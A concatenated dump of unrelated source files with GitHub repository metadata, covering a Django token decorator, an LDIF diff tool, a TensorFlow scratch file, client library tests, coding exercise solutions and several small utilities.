9a9e739dcc559476ba796510182374ad460f2f8b
|
/PA2/PA2 ANSWERS 2015/10/Asitha/pa2-10-2015.py
|
0ca5112ad2669202668f7987b7e00f616fa5b28a
|
[] |
no_license
|
Divisekara/Python-Codes-First-sem
|
542e8c0d4a62b0f66c598ff68a5c1c37c20e484d
|
e4ca28f07ecf96181af3c528d74377ab02d83353
|
refs/heads/master
| 2022-11-28T01:12:51.283260
| 2020-08-01T08:55:53
| 2020-08-01T08:55:53
| 284,220,850
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 991
|
py
|
def getText():
try:
fo=open("FileIn.txt","r")
L=fo.read().split()
fo.close()
except IOError:
print "File not found"
pass
else:
if len(L)<1000:
for i in L:
if len(i)<20 and i.isalpha()==True:
continue
else:
print "Invalid nput"
break
else:
return L
else:
print "Invalid input."
def showResult(L):
answer=[]
for i in L:
word=list(i.lower())
sorted_word=sorted(word)
if word==sorted_word:
answer.append(i)
display=" ".join(answer)
print display
return display
def saveFile(s):
try:
fc=open("result.txt","w")
fc.write(s)
fc.close()
except IOError:
print "File error."
pass
try:
saveFile(showResult(getText()))
except:
print "Something went wrong"
pass
|
[
"9asitha7@gmail.com"
] |
9asitha7@gmail.com
|
0c668919b3e9661f7ddb288bd2e56acec04ce962
|
d6168650746aca20909e7b5452a768151271eb52
|
/cmdb/utils.py
|
5c4d6abd5c1ef0965b28e111b0518942ec2c718e
|
[] |
no_license
|
xiaozhiqi2016/cmdb_project
|
296f2346aa97c89be2e0344fe6f4fc265b62f6a4
|
0b960908a21b9f4f1f5b53c8d05fc4694fea229c
|
refs/heads/master
| 2021-01-12T16:15:59.068570
| 2016-10-26T04:10:30
| 2016-10-26T04:10:30
| 71,965,372
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,182
|
py
|
#_*_coding:utf-8_*_
import time,hashlib,json
from cmdb import models
from django.shortcuts import render,HttpResponse
from cmdb_project import settings
from django.core.exceptions import ObjectDoesNotExist
def json_date_handler(obj):
if hasattr(obj, 'isoformat'):
return obj.strftime("%Y-%m-%d")
def json_datetime_handler(obj):
if hasattr(obj, 'isoformat'):
return obj.strftime("%Y-%m-%d %H:%M:%S")
def gen_token(username,timestamp,token):
token_format = "%s\n%s\n%s" %(username,timestamp,token)
obj = hashlib.md5()
obj.update(token_format.encode())
#print '--->token format:[%s]'% token_format
return obj.hexdigest()[10:17]
def token_required(func):
def wrapper(*args,**kwargs):
response = {"errors":[]}
get_args = args[0].GET
username = get_args.get("user")
token_md5_from_client = get_args.get("token")
timestamp = get_args.get("timestamp")
if not username or not timestamp or not token_md5_from_client:
response['errors'].append({"auth_failed":"This api requires token authentication!"})
return HttpResponse(json.dumps(response))
try:
user_obj = models.UserProfile.objects.get(email=username)
token_md5_from_server = gen_token(username,timestamp,user_obj.token)
if token_md5_from_client != token_md5_from_server:
response['errors'].append({"auth_failed":"Invalid username or token_id"})
else:
if abs(time.time() - int(timestamp)) > settings.TOKEN_TIMEOUT:# default timeout 120
response['errors'].append({"auth_failed":"The token is expired!"})
else:
pass #print "\033[31;1mPass authentication\033[0m"
print("\033[41;1m;%s ---client:%s\033[0m" %(time.time(),timestamp), time.time() - int(timestamp))
except ObjectDoesNotExist as e:
response['errors'].append({"auth_failed":"Invalid username or token_id"})
if response['errors']:
return HttpResponse(json.dumps(response))
else:
return func(*args,**kwargs)
return wrapper
|
[
"xiaozhiqi2015@live.com"
] |
xiaozhiqi2015@live.com
|
60385688c1813b80672e133d1f7208c42b0af423
|
3aab36e615166507e8970aaeac223a4526abdef1
|
/crawl_cazipcode/db.py
|
64efb2bb4cfcedbf0f5f44bcea36819ed8e745ea
|
[] |
no_license
|
MacHu-GWU/crawl_cazipcode-project
|
b783f5e2f5e72d0feb3c98e07951d3bbd38ef772
|
5417a3fba147249d26dd1891845742198797e162
|
refs/heads/master
| 2020-12-02T06:24:20.216975
| 2017-07-13T19:14:48
| 2017-07-13T19:14:48
| 96,827,670
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 257
|
py
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import pymongo
client = pymongo.MongoClient()
db = client.get_database("cazipcode")
c_province = db.get_collection("province")
c_city = db.get_collection("city")
c_postalcode = db.get_collection("postalcode")
|
[
"husanhe@gmail.com"
] |
husanhe@gmail.com
|
b4c06335dc66816ec8e9a7a7159927f1d0f7588c
|
bed77414283c5b51b0263103ec5055fa70e7ee3a
|
/scripts/ldifdiff
|
a047b48af9eb030e16c7521a2d43b6813fb32531
|
[
"Apache-2.0"
] |
permissive
|
UniversitaDellaCalabria/IdM
|
a24535156d8ee1f416aec0c0844fbc3e39e08280
|
0c80bc1a192e8f3075c941ca2d89773bca25e892
|
refs/heads/master
| 2020-12-20T09:09:12.320470
| 2020-07-23T03:43:48
| 2020-07-23T03:43:48
| 236,024,963
| 2
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,889
|
#! /bin/env python3
import base64
flag_binary=0
class EOFException(Exception):
pass
def read_line(file):
while True:
line = file.readline()
if not line:
raise EOFException
if line[0]!='#':
return line.rstrip('\n')
def parse_line(line):
if line[0]==' ':
return (None, line[1:])
pos = line.find(':')
if pos:
if flag_binary and line[pos+1] == ':':
return (line[:pos], ": "+base64.standard_b64decode(line[pos+2:]))
else:
return (line[:pos], line[pos:])
else:
raise ValueError
def read_dn(file):
line_dn = read_line(file)
if not line_dn:
return read_dn(file)
dn = parse_line(line_dn);
d = list()
try:
while True:
line = read_line(file)
if not line: break
pair = parse_line(line)
if pair[0]:
d.append(pair)
else:
kv = d[-1]
d[-1] = (kv[0], kv[1]+pair[1])
except EOFException:
pass
d.sort()
return (dn[1], d)
def read_ldif(file):
d = dict()
try:
while True:
entry = read_dn(file)
d[entry[0]] = entry[1]
except EOFException:
pass
return d
def count_key(kv):
d = dict()
for k,v in kv:
if k in d:
d[k] += 1
else:
d[k] = 1
return d
def makeldif_modify(dn, kv1, kv2):
keycount1 = count_key(kv1)
keycount2 = count_key(kv2)
s = 'changetype: modify\n'
i, j = 0, 0
def _add(kv):
return 'add: %s\n%s%s\n-\n'%(kv[0], kv[0], kv[1])
def _del(kv):
return 'delete: %s\n%s%s\n-\n'%(kv[0], kv[0], kv[1])
def _replace(kv1, kv2):
return 'replace: %s\n%s%s\n-\n'%(kv1[0], kv2[0], kv2[1])
return kv2[0]+kv2[1]+'\n'
while i<len(kv1) or j<len(kv2):
if i==len(kv1):
s += _add(kv2[j])
j += 1
elif j==len(kv2):
s += _del(kv1[i])
i += 1
elif kv1[i] == kv2[j]:
i, j = i+1, j+1
elif kv1[i][0] < kv2[j][0]:
s += _del(kv1[i])
i += 1
elif kv2[j][0] < kv1[i][0]:
s += _add(kv2[j])
j += 1
# now kv1[i][0] = kv2[j][0]
elif keycount1[kv1[i][0]]==1 and keycount2[kv2[j][0]]==1:
s += _replace(kv1[i], kv2[j])
i, j = i+1, j+1
elif kv1[i] < kv2[j]:
s += _del(kv1[i])
i += 1
elif kv2[j] < kv1[i]:
s += _add(kv2[j])
j += 1
if s:
return '\ndn%s\n%s\n'%(dn, s)
else:
return ''
def makeldif_delete(dn, kv):
s = 'changetype: delete\n'
return '\ndn%s\n%s\n'%(dn, s)
def makeldif_add(dn, kv):
s = 'changetype: add\n'
for x in kv:
s += '%s%s\n'%x
return '\ndn%s\n%s\n'%(dn, s)
def compare(ldif1, ldif2, file):
seen = set()
for dn, kv in ldif2.items():
if dn in ldif1:
kv1 = ldif1[dn]
if kv1 != kv:
s = makeldif_modify(dn, ldif1[dn], kv)
file.write(s)
else:
s = makeldif_add(dn, kv)
file.write(s)
seen.add(dn)
for dn, kv in ldif1.items():
if not (dn in seen):
s = makeldif_delete(dn, kv)
file.write(s)
if __name__=='__main__':
import sys
i=1; n=0
while i < len(sys.argv):
ai = sys.argv[i]
i += 1
if ai=='-b':
flag_binary = 1
elif n==0:
f1 = ai
n += 1
elif n==1:
f2 = ai
n += 1
else:
sys.stderr.write('error: too many arguments: "%s"\n'%ai)
sys.exit(1)
ldif1 = read_ldif(open(f1))
ldif2 = read_ldif(open(f2))
compare(ldif1, ldif2, sys.stdout)
|
[
"giuseppe.demarco@unical.it"
] |
giuseppe.demarco@unical.it
|
|
f1d469dcacbfece7c0cd49d613c40d0e35f4714c
|
06bc4f76ba6099277d408ddc16edd95fabcd95d0
|
/ext/sam/ext/call_py_fort/src/callpy.py
|
7135234d212f60abffac2534e8544dc702db0f6c
|
[
"Apache-2.0",
"MIT"
] |
permissive
|
kbren/uwnet
|
31d4267b23012cda61646b94aa8a9e283017f83b
|
aac01e243c19686b10c214b1c56b0bb7b7e06a07
|
refs/heads/master
| 2020-04-06T20:31:25.849132
| 2018-11-14T22:02:52
| 2018-11-14T22:05:01
| 157,771,236
| 0
| 0
|
MIT
| 2018-11-15T20:52:46
| 2018-11-15T20:52:45
| null |
UTF-8
|
Python
| false
| false
| 2,176
|
py
|
import importlib
import numpy as np
import logging
logging.basicConfig(level=logging.INFO)
# Global state array
STATE = {}
# Create the dictionary mapping ctypes to np dtypes.
ctype2dtype = {}
# Integer types
for prefix in ('int', 'uint'):
for log_bytes in range(4):
ctype = '%s%d_t' % (prefix, 8 * (2**log_bytes))
dtype = '%s%d' % (prefix[0], 2**log_bytes)
# print( ctype )
# print( dtype )
ctype2dtype[ctype] = np.dtype(dtype)
# Floating point types
ctype2dtype['float'] = np.dtype('f4')
ctype2dtype['double'] = np.dtype('f8')
def asarray(ffi, ptr, shape, **kwargs):
length = np.prod(shape)
# Get the canonical C type of the elements of ptr as a string.
T = ffi.getctype(ffi.typeof(ptr).item)
# print( T )
# print( ffi.sizeof( T ) )
if T not in ctype2dtype:
raise RuntimeError("Cannot create an array for element type: %s" % T)
a = np.frombuffer(ffi.buffer(ptr, length * ffi.sizeof(T)), ctype2dtype[T])\
.reshape(shape, **kwargs)
return a
def set_state(args, ffi=None):
tag, t, nx, ny, nz = args
shape = (nz[0], ny[0], nx[0])
tag = ffi.string(tag).decode('UTF-8')
arr = asarray(ffi, t, shape).copy()
STATE[tag] = arr
def set_state_1d(args, ffi=None):
tag, t, n = args
tag = ffi.string(tag).decode('UTF-8')
arr = asarray(ffi, t, (n[0], )).copy()
STATE[tag] = arr
def set_state_scalar(args, ffi=None):
tag, t = args
tag = ffi.string(tag).decode('UTF-8')
STATE[tag] = t[0]
def set_state_char(args, ffi=None):
tag, chr = [ffi.string(x).decode('UTF-8') for x in args]
STATE[tag] = chr
def get_state(args, ffi=None):
tag, t, n = args
tag = ffi.string(tag).decode('UTF-8')
arr = asarray(ffi, t, (n[0], ))
src = STATE.get(tag, np.zeros(n[0]))
arr[:] = src.ravel()
def call_function(module_name, function_name):
"""Call a python function by name"""
# import the python module
mod = importlib.import_module(module_name)
# the function we want to call
fun = getattr(mod, function_name)
# call the function
# this function can edit STATE inplace
fun(STATE)
|
[
"nbren12@gmail.com"
] |
nbren12@gmail.com
|
4bee1decea943573516cb9ba3b0b3128f26467f2
|
a8d86cad3f3cc6a977012d007d724bbaf02542f7
|
/catalog/dump_test_cases_failed.py
|
2d81f9721782f9ea6edef284a93314991bc81f52
|
[] |
no_license
|
bopopescu/bigrobot
|
f8d971183119a1d59f21eb2fc08bbec9ee1d522b
|
24dad9fb0044df5a473ce4244932431b03b75695
|
refs/heads/master
| 2022-11-20T04:55:58.470402
| 2015-03-31T18:14:39
| 2015-03-31T18:14:39
| 282,015,194
| 0
| 0
| null | 2020-07-23T17:29:53
| 2020-07-23T17:29:52
| null |
UTF-8
|
Python
| false
| false
| 3,262
|
py
|
#!/usr/bin/env python
import os
import sys
import argparse
import pymongo
# Determine BigRobot path(s) based on this executable (which resides in
# the bin/ directory.
bigrobot_path = os.path.dirname(__file__) + '/..'
exscript_path = bigrobot_path + '/vendors/exscript/src'
sys.path.insert(0, bigrobot_path)
sys.path.insert(1, exscript_path)
import autobot.helpers as helpers
from catalog_modules.test_catalog import TestCatalog
def prog_args():
descr = """\
Given the release (RELEASE_NAME env) and build (BUILD_NAME env), print a list
of failed test cases.
Examples:
% RELEASE_NAME="ironhorse" BUILD_NAME="bvs master bcf-2.0.0 fcs" ./dump_test_cases_failed.py
% ./dump_test_cases_failed.py --release ironhorse --build "bvs master aggregated 2014 wk40"
"""
parser = argparse.ArgumentParser(prog='dump_test_cases_failed',
formatter_class=argparse.RawDescriptionHelpFormatter,
description=descr)
parser.add_argument('--build',
help=("Jenkins build string,"
" e.g., 'bvs master #2007'"))
parser.add_argument('--release',
help=("Product release, e.g., 'ironhorse', 'ironhorse-plus', 'jackfrost', etc."))
parser.add_argument('--show-tags', action='store_true', default=False,
help=("Show test case tags"))
_args = parser.parse_args()
# _args.build <=> env BUILD_NAME
if not _args.build and 'BUILD_NAME' in os.environ:
_args.build = os.environ['BUILD_NAME']
elif not _args.build:
helpers.error_exit("Must specify --build option or set environment"
" variable BUILD_NAME")
else:
os.environ['BUILD_NAME'] = _args.build
# _args.release <=> env RELEASE_NAME
if not _args.release and 'RELEASE_NAME' in os.environ:
_args.release = os.environ['RELEASE_NAME']
elif not _args.release:
helpers.error_exit("Must specify --release option or set environment"
" variable RELEASE_NAME")
else:
os.environ['RELEASE_NAME'] = _args.release
_args.release = _args.release.lower()
return _args
def print_failed_tests(args):
db = TestCatalog()
ts_author_dict = db.test_suite_author_mapping(args.build)
query = {"build_name": args.build,
"tags": {"$all": [args.release]},
"status": "FAIL",
}
tc_archive_collection = db.test_cases_archive_collection().find(query).sort(
[("product_suite", pymongo.ASCENDING),
("name", pymongo.ASCENDING)])
total_tc = tc_archive_collection.count()
i = 0
for tc in tc_archive_collection:
i += 1
string = ("TC-%03d: %12s %-55s %s"
% (i,
ts_author_dict[tc["product_suite"]],
tc["product_suite"],
tc["name"]))
if args.show_tags:
string = ("%s %s" % (string, helpers.utf8(tc["tags"])))
print string
print "\nTotal test cases failed: %s" % total_tc
if __name__ == '__main__':
print_failed_tests(prog_args())
|
[
"vui.le@bigswitch.com"
] |
vui.le@bigswitch.com
|
777e70d291140c0a3f72e34ff3cc9fd482780f3b
|
68cbd4ff1eb57f531809ccc2c0ac63e090cb8e17
|
/workspaceclient/tests/common/test_resource.py
|
397682fc72354f4fd2ca24b012d2c6dea4bb0598
|
[
"Apache-2.0"
] |
permissive
|
I201821180/osc_workspace
|
f89c0665be22cca89dac70bb537f0e3cdd636334
|
ced0c58f724aa04137132da0116e866f320978ec
|
refs/heads/master
| 2020-06-07T05:28:41.035721
| 2017-04-17T09:51:14
| 2017-04-17T09:51:14
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 5,705
|
py
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
#
import six
from mock import mock
from workspaceclient.common import resource
from workspaceclient.tests import base
from workspaceclient.tests import fakes
class SampleResource(resource.Resource):
pass
class TestResource(base.BaseTestCase):
def test_resource_repr(self):
r = SampleResource(None, dict(foo='bar', baz='spam'))
self.assertEqual('<SampleResource baz=spam, foo=bar>', repr(r))
def test_init_with_attribute_info(self):
r = SampleResource(None, dict(foo='bar', baz='spam'))
self.assertTrue(hasattr(r, 'foo'))
self.assertEqual('bar', r.foo)
self.assertTrue(hasattr(r, 'baz'))
self.assertEqual('spam', r.baz)
def test_resource_lazy_getattr(self):
fake_manager = mock.Mock()
return_resource = SampleResource(None, dict(uuid=mock.sentinel.fake_id,
foo='bar',
name='fake_name'))
fake_manager.get.return_value = return_resource
r = SampleResource(fake_manager,
dict(uuid=mock.sentinel.fake_id, foo='bar'))
self.assertTrue(hasattr(r, 'foo'))
self.assertEqual('bar', r.foo)
self.assertFalse(r.has_attached())
# Trigger load
self.assertEqual('fake_name', r.name)
fake_manager.get.assert_called_once_with(mock.sentinel.fake_id)
self.assertTrue(r.has_attached())
# Missing stuff still fails after a second get
self.assertRaises(AttributeError, getattr, r, 'abc')
def test_eq(self):
# Two resources of the same type with the same id: not equal
r1 = SampleResource(None, {'id': 1, 'name': 'hi'})
r2 = SampleResource(None, {'id': 1, 'name': 'hello'})
self.assertNotEqual(r1, r2)
# Two resources of different types: never equal
r1 = SampleResource(None, {'id': 1})
r2 = fakes.FakeResource(None, {'id': 1})
self.assertNotEqual(r1, r2)
# Two resources with no ID: equal if their info is equal
r1 = SampleResource(None, {'name': 'joe', 'age': 12})
r2 = SampleResource(None, {'name': 'joe', 'age': 12})
self.assertEqual(r1, r2)
def test_resource_object_with_request_id(self):
resp_obj = fakes.create_response()
r = SampleResource(None, {'name': '1'}, resp=resp_obj)
self.assertEqual(fakes.FAKE_REQUEST_ID, r.request_id)
def test_resource_object_with_compute_request_id(self):
resp_obj = fakes.create_response_with_compute_header()
r = SampleResource(None, {'name': '1'}, resp=resp_obj)
self.assertEqual(fakes.FAKE_REQUEST_ID, r.request_id)
class ListWithMetaTest(base.BaseTestCase):
def test_list_with_meta(self):
resp = fakes.create_response()
obj = resource.ListWithMeta([], resp)
self.assertEqual([], obj)
# Check request_ids attribute is added to obj
self.assertTrue(hasattr(obj, 'request_id'))
self.assertEqual(fakes.FAKE_REQUEST_ID, obj.request_id)
class DictWithMetaTest(base.BaseTestCase):
def test_dict_with_meta(self):
resp = fakes.create_response()
obj = resource.DictWithMeta({}, resp)
self.assertEqual({}, obj)
# Check request_id attribute is added to obj
self.assertTrue(hasattr(obj, 'request_id'))
self.assertEqual(fakes.FAKE_REQUEST_ID, obj.request_id)
class TupleWithMetaTest(base.BaseTestCase):
def test_tuple_with_meta(self):
resp = fakes.create_response()
expected_tuple = (1, 2)
obj = resource.TupleWithMeta(expected_tuple, resp)
self.assertEqual(expected_tuple, obj)
# Check request_id attribute is added to obj
self.assertTrue(hasattr(obj, 'request_id'))
self.assertEqual(fakes.FAKE_REQUEST_ID, obj.request_id)
class StrWithMetaTest(base.BaseTestCase):
def test_str_with_meta(self):
resp = fakes.create_response()
obj = resource.StrWithMeta('test-str', resp)
self.assertEqual('test-str', obj)
# Check request_id attribute is added to obj
self.assertTrue(hasattr(obj, 'request_id'))
self.assertEqual(fakes.FAKE_REQUEST_ID, obj.request_id)
class BytesWithMetaTest(base.BaseTestCase):
def test_bytes_with_meta(self):
resp = fakes.create_response()
obj = resource.BytesWithMeta(b'test-bytes', resp)
self.assertEqual(b'test-bytes', obj)
# Check request_id attribute is added to obj
self.assertTrue(hasattr(obj, 'request_id'))
self.assertEqual(fakes.FAKE_REQUEST_ID, obj.request_id)
if six.PY2:
class UnicodeWithMetaTest(base.BaseTestCase):
def test_unicode_with_meta(self):
resp = fakes.create_response()
obj = resource.UnicodeWithMeta(u'test-unicode', resp)
self.assertEqual(u'test-unicode', obj)
# Check request_id attribute is added to obj
self.assertTrue(hasattr(obj, 'request_id'))
self.assertEqual(fakes.FAKE_REQUEST_ID, obj.request_id)
|
[
"iampurse@vip.qq.com"
] |
iampurse@vip.qq.com
|
52013e904db26d2c534e570b6278d0e7b32e6bae
|
09301c71638abf45230192e62503f79a52e0bd80
|
/addons_ned/ned_kcs/stock_contract_allocation.py
|
36c3b6ec942a17b17e7881af16d5ccce438e5ed3
|
[] |
no_license
|
westlyou/NEDCOFFEE
|
24ef8c46f74a129059622f126401366497ba72a6
|
4079ab7312428c0eb12015e543605eac0bd3976f
|
refs/heads/master
| 2020-05-27T06:01:15.188827
| 2017-11-14T15:35:22
| 2017-11-14T15:35:22
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,042
|
py
|
from openerp import api, fields, models, _
import openerp.addons.decimal_precision as dp
from openerp.osv import expression
from datetime import datetime, timedelta
from openerp.tools import float_is_zero, float_compare, DEFAULT_SERVER_DATETIME_FORMAT
from openerp.tools import float_compare, float_round
from openerp.tools.misc import formatLang
from openerp.exceptions import UserError, ValidationError
from datetime import datetime
import time
DATETIME_FORMAT = "%Y-%m-%d %H:%M:%S"
DATE_FORMAT = "%Y-%m-%d"
#
class StockContractAllocation(models.Model):
_name = "stock.contract.allocation"
allocation_date = fields.Datetime(string='Date')
stack_no = fields.Many2one('stock.stack', string='Stack')
shipping_id = fields.Many2one('shipping.instruction', string='SI no.')
allocating_quantity = fields.Float(string='Allocating quantity')
@api.multi
def load_stack_info(self):
if self.id:
self.allocating_quantity = self.stack_no.remaining_qty
# self.product_id = self.shipping_id.product_id
# self.write(val)
return True
|
[
"son.huynh@nedcoffee.vn"
] |
son.huynh@nedcoffee.vn
|
dc82df34593b15296aec83294aabc1d96ea8634e
|
2e9e994e17456ed06970dccb55c18dc0cad34756
|
/atcoder/abc/114/A.py
|
58af0ab22a112562c6977959978003572bb5a9ea
|
[] |
no_license
|
ksomemo/Competitive-programming
|
a74e86b5e790c6e68e9642ea9e5332440cb264fc
|
2a12f7de520d9010aea1cd9d61b56df4a3555435
|
refs/heads/master
| 2020-12-02T06:46:13.666936
| 2019-05-27T04:08:01
| 2019-05-27T04:08:01
| 96,894,691
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 148
|
py
|
def main():
X = int(input())
if X in (3, 5, 7):
print("YES")
else:
print("NO")
if __name__ == '__main__':
main()
|
[
"kntsmy@hotmail.co.jp"
] |
kntsmy@hotmail.co.jp
|
6d9ee7671285af8a0f8f4f60aba636a3f9d844d7
|
8d589a41f7bf2ad7a0445bb0405970bb15bb29c4
|
/testing/tests/001-main/001-empty/003-criticctl/001-adduser-deluser.py
|
4133b77269381bfc38b90d6d1ee39aa3f4604e58
|
[
"MIT",
"Apache-2.0"
] |
permissive
|
ryfow/critic
|
19d86a8033bdb92bca4787f1fc3396c85300913c
|
1803667f73ff736a606a27bb0eb3e527ae1367e9
|
refs/heads/master
| 2021-01-17T11:40:37.224389
| 2013-06-28T11:11:07
| 2013-07-02T21:01:13
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,730
|
py
|
# Scenario: Try to add a user 'alice' (already exists).
try:
instance.execute(
["sudo", "criticctl", "adduser",
"--name", "alice",
"--email", "alice@example.org",
"--fullname", "'Alice von Testing'",
"--password", "testing"])
except testing.virtualbox.GuestCommandError as error:
if "alice: user exists" not in error.output.splitlines():
logger.error("criticctl failed with unexpected error message:\n%s"
% error.output)
else:
logger.error("incorrect criticctl usage did not fail")
# Scenario: Try to delete the user 'nosuchuser' (no such user).
try:
instance.execute(
["sudo", "criticctl", "deluser",
"--name", "nosuchuser"])
except testing.virtualbox.GuestCommandError as error:
if "nosuchuser: no such user" not in error.output.splitlines():
logger.error("criticctl failed with unexpected error message:\n%s"
% error.output)
else:
logger.error("incorrect criticctl usage did not fail")
# Scenario: Add a user 'extra' and then delete the user again.
try:
instance.execute(
["sudo", "criticctl", "adduser",
"--name", "extra",
"--email", "extra@example.org",
"--fullname", "'Extra von Testing'",
"--password", "testing"])
except testing.virtualbox.GuestCommandError as error:
logger.error("correct criticctl usage failed:\n%s"
% error.output)
else:
try:
instance.execute(
["sudo", "criticctl", "deluser",
"--name", "extra"])
except testing.virtualbox.GuestCommandError as error:
logger.error("correct criticctl usage failed:\n%s"
% error.output)
|
[
"jl@opera.com"
] |
jl@opera.com
|
2a75d352afc15ce79df646ef5a6f22801eb2e8d7
|
51cd18da63555c7dc6086cf33c70318443920826
|
/authentication/models.py
|
54c10dc0a492bcd9d33dd5a2e83db4c68211da13
|
[] |
no_license
|
PHONGLEX/todosite
|
613861305cc586a568d909e1a56e8b3788c7e0e2
|
d0ab48e0efc4fd67b45b779d2ea9a70537b80def
|
refs/heads/main
| 2023-04-30T10:13:36.674114
| 2021-05-23T01:43:01
| 2021-05-23T01:43:01
| 369,522,681
| 0
| 0
| null | 2021-05-23T01:47:46
| 2021-05-21T12:07:16
|
Python
|
UTF-8
|
Python
| false
| false
| 219
|
py
|
from django.db import models
from django.contrib.auth.models import AbstractUser
class User(AbstractUser):
is_email_verified = models.BooleanField(default=False)
def __str__(self):
return self.email
|
[
"fonglex@gmail.com"
] |
fonglex@gmail.com
|
986ae51a0ebd37cde47abb1c78ce6cd3c11d6e02
|
95efc2300bd2936eb9b4ca8f9cda55764047f094
|
/django1/src/bookmark/views.py
|
d67cd83360a7837595c2524384a53e3602e4f67f
|
[] |
no_license
|
gittaek/jeong
|
d207d6e41398803475aff82a49bea01e21a86901
|
20808cbb97daff79a4c0b4a017106519f99d919f
|
refs/heads/master
| 2020-04-21T23:11:17.202531
| 2019-02-10T03:20:57
| 2019-02-10T03:20:57
| 169,938,169
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,272
|
py
|
from django.shortcuts import render
from .models import Bookmark
def index(request):
return render(request, 'bookmark/index.html', {'a':"hello", 'b':[1,2,3,4,5]})
def booklist(request):
#모델클래스.objects.get(): 데이터베이스에 해당 모델클래스로 저장된 객체중 특정조건을 만족하는 객체 한개를 추출하는 함수
#모델클래스.objects.all(): 데이터베이스에 해당 모델클래스로 저장된 모든 객체를 추출
#모델클래스.objects.filter(): 데이터베이스에 특정조건을 만족하는 모든객체를 리스트 형태로 추출
#모델클래스.objects.exclude(): 데이터베이스에 특정조건을 만족하지않는 모든객체를 리스트 형태로 추출
list = Bookmark.objects.all()
return render(request, 'bookmark/booklist.html', {'objs':list})
def getbook(request, bookid):
#객체 한개를 추출할 때, 객체별로 저장된 고유한 id값을 이용해 추출함
#어떤 id값을 가진 객체를 요청했는지 알아야된
#=>뷰함수의 매개변수를 늘림, <form>로 넘어온 데이터 처리\
obj = Bookmark.objects.get(id=bookid)
print(obj)
return render(request, 'bookmark/getbook.html', {'book':obj})
|
[
"user@DESKTOP-37GULAI"
] |
user@DESKTOP-37GULAI
|
d01340261c9c5db96d89a3616408a441baab8061
|
929a816fc299959d0f8eb0dd51d064be2abd6b78
|
/LintCode/ladder 12 BFS/1179 · Friend Circles/solution.py
|
43ac183b2ae8a89b8fcf334d3270182119a84b20
|
[
"MIT"
] |
permissive
|
vincent507cpu/Comprehensive-Algorithm-Solution
|
27940da7bc0343921930a2eafbd649da93a5395d
|
04e01e49622457f09af2e1133954f043c0c92cb9
|
refs/heads/master
| 2023-07-20T07:12:15.590313
| 2021-08-23T23:42:17
| 2021-08-23T23:42:17
| 258,644,691
| 4
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,040
|
py
|
class Solution:
"""
@param M: a matrix
@return: the total number of friend circles among all the students
"""
def findCircleNum(self, M):
# Write your code here
n = len(M) # 人数
res = 0 # 答案
visited = [False for _ in range(n)] # 标记是否访问过
for i in range(n): # 遍历每个人,如果这个人还没访问过 就从这个人开始做一遍bfs
if not visited[i]:
res += 1
visited[i] = True
queue = [i] # 标记起点并压入队列
while queue:
now = queue.pop(0) # 取出队首
for j in range(n): # 从队首找朋友
if M[now][j] == 1 and not visited[j]: # 找到新朋友(之前没访问过的朋友)就标记访问并压入队列
visited[j] = True
queue.append(j)
return res
|
[
"vincent507cpu@gmail.com"
] |
vincent507cpu@gmail.com
|
da30a2b76a19fba4fa60611e04a3e380945acad6
|
0ddd01f6ae2d6ee489cd0f6e6a39c32b6e605b26
|
/tests/little_test.py
|
91d9d6d977964830220c3f176f75fa2d7d54afe5
|
[] |
no_license
|
dhernandd/supervind
|
ecc965495904c79cee9c19b58265a7642b7c457b
|
30f9fad846fe30a8c8bb69b813ad824fa214aad7
|
refs/heads/master
| 2021-05-03T09:11:24.430166
| 2018-10-04T06:37:26
| 2018-10-04T06:37:26
| 120,571,177
| 2
| 5
| null | 2018-03-17T20:29:16
| 2018-02-07T06:08:39
|
Python
|
UTF-8
|
Python
| false
| false
| 3,179
|
py
|
import tensorflow as tf
import numpy as np
import sys
sys.path.append('../code')
from LatEvModels import *
# import seaborn as sns
# import matplotlib.pyplot as plt
#
# data = np.random.randn(20,20)
# sns.heatmap(data)
# plt.show()
# import os
# os.system('say "There is a beer in your fridge."')
# x = tf.placeholder(dtype=tf.float32, shape=[3], n ame='x')
# y = tf.get_variable('y', initializer=2.0)
# z = y*x
# with tf.Session().as_default():
# sess = tf.get_default_session()
# sess.run(tf.global_variables_initializer())
# print(z.eval(feed_dict={'x:0' : [1.0,2.0,3.0]}, session=sess))
# y = 3*x**2
# for yi, xi in zip(tf.unstack(y), tf.unstack(x)):
# print(tf.gradients(yi, x))
#
# examples = tf.split(batch)
# weight_copies = [tf.identity(weights) for x in examples]
# output = tf.stack(f(x, w) in zip(examples, weight_copies))
# cost = cost_function(output)
# per_example_gradients = tf.gradients(cost, weight_copies)
# grads = tf.stack([tf.gradients(yi, xi) for yi, xi in zip(tf.unstack(y), tf.unstack(x))])
# print(grads)
# lambda_grads = lambda _, YX : tf.gradients(YX[0], YX[1])
# elem_grads = tf.scan(lambda_grads, elems=[y[1:], x[1:]],
# initializer=[tf.gradients(y[0:1], x[0:1])])
# g = tf.gradients(y, x)
# with tf.Session() as sess:
# sess.run(tf.global_variables_initializer())
# G = sess.run(g, feed_dict={'x:0' : [3.0, 4.0]})
# print(G)
# a = np.array([1.0,2.0,3.0])
# b = np.array([1.0,2.0,3.0])
#
# A = tf.get_variable('A', initializer=a)
# B = tf.get_variable('B', initializer=b)
#
# with tf.Graph().as_default() as g1:
# with tf.variable_scope('foo', reuse=tf.AUTO_REUSE):
# x = tf.placeholder(dtype=tf.float64, shape=[2], name='x')
# c = tf.get_variable('c', initializer=tf.cast(1.0, tf.float64))
# y = tf.identity(2*x, 'y')
#
